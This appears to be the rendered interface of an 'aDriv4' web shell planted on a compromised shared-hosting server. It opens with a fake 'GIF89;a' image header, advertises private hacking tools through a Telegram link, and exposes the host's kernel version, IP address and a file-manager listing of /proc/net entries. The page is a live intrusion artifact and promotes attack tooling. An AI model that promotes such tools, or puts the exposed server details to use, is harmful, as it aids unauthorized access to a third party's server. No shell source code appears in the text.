GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium262.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
 LiteSpeed
 67.223.118.65
Name Type Size Owner/Group Permission Last Modified Actions
. dir - soliqmqs/soliqmqs 0555 2026-01-16 07:10:25
.. dir - soliqmqs/soliqmqs 0555 2026-01-16 07:10:21
dev_snmp6 dir - root/root 0555 2026-01-16 07:10:26
ip6t_hashlimit dir - root/root 0555 2026-01-16 07:10:26
ipt_hashlimit dir - root/root 0555 2026-01-16 07:10:26
netfilter dir - root/root 0555 2026-01-16 07:10:26
nfsfs dir - root/root 0555 2026-01-16 07:10:26
rpc dir - root/root 0555 2026-01-16 07:10:26
stat dir - root/root 0555 2026-01-16 07:10:26
xt_recent dir - root/root 0555 2026-01-16 07:10:26
anycast6 0 B root/root 0444 2026-01-16 07:10:26
arp 0 B root/root 0444 2026-01-16 07:10:26
connector 0 B root/root 0444 2026-01-16 07:10:26
dev text/plain 0 B root/root 0444 2026-01-16 07:10:26
dev_mcast 0 B root/root 0444 2026-01-16 07:10:26
fib_trie 0 B root/root 0444 2026-01-16 07:10:26
fib_triestat 0 B root/root 0444 2026-01-16 07:10:26
hci 0 B root/root 0444 2026-01-16 07:10:26
icmp 0 B root/root 0444 2026-01-16 07:10:26
icmp6 0 B root/root 0444 2026-01-16 07:10:26
if_inet6 0 B root/root 0444 2026-01-16 07:10:26
igmp 0 B root/root 0444 2026-01-16 07:10:26
igmp6 0 B root/root 0444 2026-01-16 07:10:26
ip6_flowlabel 0 B root/root 0444 2026-01-16 07:10:26
ip6_mr_cache 0 B root/root 0444 2026-01-16 07:10:26
ip6_mr_vif 0 B root/root 0444 2026-01-16 07:10:26
ip_mr_cache 0 B root/root 0444 2026-01-16 07:10:26
ip_mr_vif 0 B root/root 0444 2026-01-16 07:10:26
ip_tables_matches 0 B root/root 0440 2026-01-16 07:10:26
ip_tables_names 0 B root/root 0440 2026-01-16 07:10:26
ip_tables_targets 0 B root/root 0440 2026-01-16 07:10:26
ipv6_route 0 B root/root 0444 2026-01-16 07:10:26
l2cap 0 B root/root 0444 2026-01-16 07:10:26
mcfilter 0 B root/root 0444 2026-01-16 07:10:26
mcfilter6 0 B root/root 0444 2026-01-16 07:10:26
netlink 0 B root/root 0444 2026-01-16 07:10:26
netstat 0 B root/root 0444 2026-01-16 07:10:26
nf_conntrack 0 B root/root 0440 2026-01-16 07:10:26
nf_conntrack_expect 0 B root/root 0440 2026-01-16 07:10:26
packet 0 B root/root 0444 2026-01-16 07:10:26
protocols 0 B root/root 0444 2026-01-16 07:10:26
psched 0 B root/root 0444 2026-01-16 07:10:26
ptype 0 B root/root 0444 2026-01-16 07:10:26
raw text/plain 0 B root/root 0444 2026-01-16 07:10:26
raw6 text/plain 0 B root/root 0444 2026-01-16 07:10:26
route 0 B root/root 0444 2026-01-16 07:10:26
rt6_stats 0 B root/root 0444 2026-01-16 07:10:26
rt_acct 0 B root/root 0444 2026-01-16 07:10:26
rt_cache 0 B root/root 0444 2026-01-16 07:10:26
sco 0 B root/root 0444 2026-01-16 07:10:26
snmp 0 B root/root 0444 2026-01-16 07:10:26
snmp6 0 B root/root 0444 2026-01-16 07:10:26
sockstat 0 B root/root 0444 2026-01-16 07:10:26
sockstat6 0 B root/root 0444 2026-01-16 07:10:26
softnet_stat 0 B root/root 0444 2026-01-16 07:10:26
tcp text/plain 0 B root/root 0444 2026-01-16 07:10:26
tcp6 text/plain 0 B root/root 0444 2026-01-16 07:10:26
udp text/plain 0 B root/root 0444 2026-01-16 07:10:26
udp6 text/plain 0 B root/root 0444 2026-01-16 07:10:26
udplite 0 B root/root 0444 2026-01-16 07:10:26
udplite6 0 B root/root 0444 2026-01-16 07:10:26
unix text/plain 0 B root/root 0444 2026-01-16 07:10:26
xfrm_stat 0 B root/root 0444 2026-01-16 07:10:26
© aDriv4